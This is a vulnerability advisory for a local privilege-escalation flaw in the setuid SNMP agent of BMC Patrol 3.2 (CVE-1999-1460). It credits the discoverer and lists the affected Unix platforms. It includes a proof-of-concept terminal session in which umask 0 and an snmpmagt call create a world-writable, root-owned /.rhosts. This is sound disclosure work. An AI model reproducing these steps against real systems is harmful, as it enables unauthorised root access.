BMC Patrol SNMP Agent File Creation/Permission Vulnerability

Bugtraq ID:	525
Class:	Input Validation Error
CVE:	CVE-1999-1460 CVE-1999-1460
Remote:	No
Local:	Yes
Published:	Jul 14 1999 12:00AM
Updated:	Mar 19 2015 08:32AM
Credit:	First posted to BugTraq by Andrew Alness <[email protected]> on July 14, 1999. Parts of the discussion were taken directly from Andrew's BugTraq posting. Graeme Byrnes <[email protected]> a Technical Support Specialist at BMC Software snet fix information
Vulnerable:	BMC Software Patrol 3.2.5 BMC Software Patrol 3.2.3 BMC Software Patrol 3.2 - Data General DG/UX 8.0 - Data General DG/UX 7.0 - Digital UNIX 4.0 - HP HP-UX 11.0 - HP HP-UX 10.0 - HP HP-UX 9.0 - IBM AIX 4.2.1 - IBM AIX 4.2 - SCO Open Server 5.0 - SCO Unixware 7.0 - Sequent Dynix 3.0.17 - Sequent Dynix 3.0.12 - SGI IRIX 6.5.4 - SGI IRIX 6.5 - SGI IRIX 6.4 - Sun Solaris 7.0_x86 - Sun Solaris 7.0 - Sun Solaris 2.6_x86 - Sun Solaris 2.6 - Sun Solaris 2.5_x86 - Sun Solaris 2.5
Not Vulnerable:	BMC Software Patrol 3.2.7

BMC Patrol SNMP Agent File Creation/Permission Vulnerability

Patrol 3.2, installed out of the box, allows for a local root compromise or denial of service. The vulnerability lies in the creation of a file by snmpagnt that is owned by the owner of the parent directory of the file and possibly world writeable. A local user can specify any file (/.rhosts) and create it / set the permissions according to the user's umask.

BMC Patrol SNMP Agent File Creation/Permission Vulnerability

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al snmpmagt
-rwsr-xr-x 1 root users 185461 Mar 6 1998 snmpmagt*

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
/.rhosts not found

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> umask 0

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> snmpmagt yoyoyo /.rhosts

yoyoyo: No such file or directory
snmp bind failure: Address already in use
/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin/snmpmagt: error processing configuration

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
-rw-rw-rw- 1 root users 770 Jul 13 14:42 .rhosts

note: If the file exists, it keeps the same perms and overwrites it
with "i^A" then the result of gethostname() and some whitespace. this
problem is not platform dependent and was tested based on out of box
install on an HP.

BMC Patrol SNMP Agent File Creation/Permission Vulnerability

References:

• Vendor Homepage (BMC Software)